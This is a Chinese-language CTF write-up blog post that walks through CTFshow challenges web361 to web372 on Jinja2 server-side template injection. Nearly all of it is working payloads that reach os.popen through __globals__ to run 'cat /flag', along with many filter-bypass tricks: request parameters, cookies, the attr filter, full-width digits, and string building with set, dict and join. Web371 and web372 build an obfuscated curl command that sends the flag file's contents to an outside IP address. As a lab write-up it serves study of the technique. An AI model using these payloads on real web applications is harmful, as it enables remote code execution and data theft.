CTFshow SSTI
本文最后更新于 37 天前,其中的信息可能已经有所发展或是发生改变。

web361

简单测试一遍

?name={{7*7}}

回显49证明存在SSTI,是jiaji

无过滤直接上payload吧

?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__["popen"]("cat /flag").read()}}

多写几个payload

?name={{lipsum.__globals__["os"]["popen"]("cat /flag").read()}}

?name={{url_for.__globals__["os"]["popen"]("cat /flag").read()}}

?name={{lipsum.__globals__.__getitem__('os').popen('ls /').read()}}

web362

用这俩可以秒掉

{{url_for.__globals__["os"]["popen"]("cat /flag").read()}}
{{lipsum.__globals__["os"]["popen"]("cat /flag").read()}}

实际是过滤了数字

可以用全角bypass一下

?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web363

过滤了单双引号

利用request

?name={{cycler.__init__.__globals__.os.popen(request.args.a).read()}}&a=cat /flag

?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag

web364

过滤了args,可以换其他的参数进行绕过,比如from,cookie和values等

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}

Cookie:a=os;b=popen;c=cat /flag

web365

过滤了[]中括号args""``''

?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}
Cookie:a=cat /flag

?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

web366

过滤[],args ” ‘ _

利用attr过滤器

?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat%20/flag

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
a=__globals__;b=cat /flag

web367

过滤[],args ” ‘ _ os

多过滤了个os

加一个request就可以

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&c=cat%20/flag&b=os

?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie:a=__globals__;b=os;c=cat /flag

web368

过滤[],args ” ‘ _ os {{

利用到{%%}

?name={%print(123)%}

回显123说明存在ssti

?name={% print (lipsum|attr(request.values.a)).setdefault(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

payload中这个setdefault()是因为我们要找的是globals出来的东西,是属于字典,要去获得其变量需要用中括号,但是中括号给过滤了,所以用此函数进行获取,也可以用get()函数

?name={% print (lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

web369

过滤[],args ” ‘ _ os {{ request

把request也给过滤了

用到jinja中的set语法

Jinja2 中的 set

  • 在 Jinja2 中,set 用来 定义赋值 变量。它是 Jinja2 模板语言的一部分,不是 Python 的内建函数。通过 set,你可以在模板内创建变量,并为它们指定值。
  • 它的作用类似于 Python 中的 = 操作符,允许你在模板中使用变量。
  • 语法:jinja
    {% set variable_name = value %}

还用到了python中的dict()

其中join过滤器,他用于拼接,但是注意,他是拼接的键值

?name=
{% set po=dict(po=a,p=a)|join%} //构造pop方法
{% set a=(lipsum|string|list)|attr(po)(24)%} //用于获取_
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} //获取__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} //获取__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} //获取__getitem__
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} //获取__builtins__
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} //拼接payload
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} //利用chr构造flag
{%print(x.open(file).read())%} //读取flag文件

web370

相比上一题多过滤了数字,可以用全角数字进行绕过

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

也可多一步构造

{%set a=dict(aaaa=b)|join|length%}{%print a%}
回显4
回显就是键名的长度

web371

print被ban了。利用反弹shell

{%set zero=0%}
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set kongge=(()|select|string|list)|attr(pop)(five*two)%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set maohao=(config|string|list)|attr(pop)(two*seven)%}
{%set xiegang=(config|string|list)|attr(pop)(-eight*eight)%}
{%set dian=(config|string|list)|attr(pop)(five*five*eight-nine)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set open=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(open=a)|join)%}
{%set file=open((xiegang,dict(flag=a)|join)|join)|attr(dict(read=a)|join)()%}
{%set command=(dict(curl=a)|join,kongge,dict(http=a)|join,maohao,xiegang,xiegang,three,nine,dian,one,zero,seven,dian,one,one,five,dian,one,nine,one,maohao,two,three,three,three,xiegang,file)|join%}
{%set shell=(lipsum|attr(globals))|attr(get)(dict(o=a,s=b)|join)|attr(dict(popen=a)|join)(command)%}

第二种方法可以利用curl外带数据

web372

多加过滤了count,可以利用length替代

?name={%set one=dict(c=a)|join|length%}
{%set two=dict(cc=a)|join|length%}
{%set three=dict(ccc=a)|join|length%}
{%set four=dict(cccc=a)|join|length%}
{%set five=dict(ccccc=a)|join|length%}
{%set six=dict(cccccc=a)|join|length%}
{%set seven=dict(ccccccc=a)|join|length%}
{%set eight=dict(cccccccc=a)|join|length%}
{%set nine=dict(ccccccccc=a)|join|length%}
{%set pop=dict(pop=a)|join%}
{%set kongge=(()|select|string|list)|attr(pop)(five*two)%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set maohao=(config|string|list)|attr(pop)(two*seven)%}
{%set xiegang=(config|string|list)|attr(pop)(-eight*eight)%}
{%set dian=(config|string|list)|attr(pop)(five*five*eight-nine)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set open=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(open=a)|join)%}
{%set file=open((xiegang,dict(flag=a)|join)|join)|attr(dict(read=a)|join)()%}
{%set command=(dict(curl=a)|join,kongge,dict(http=a)|join,maohao,xiegang,xiegang,three,nine,dian,one,zero,seven,dian,one,one,five,dian,one,nine,one,maohao,two,three,three,three,xiegang,file)|join%}
{%set shell=(lipsum|attr(globals))|attr(get)(dict(o=a,s=b)|join)|attr(dict(popen=a)|join)(command)%}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇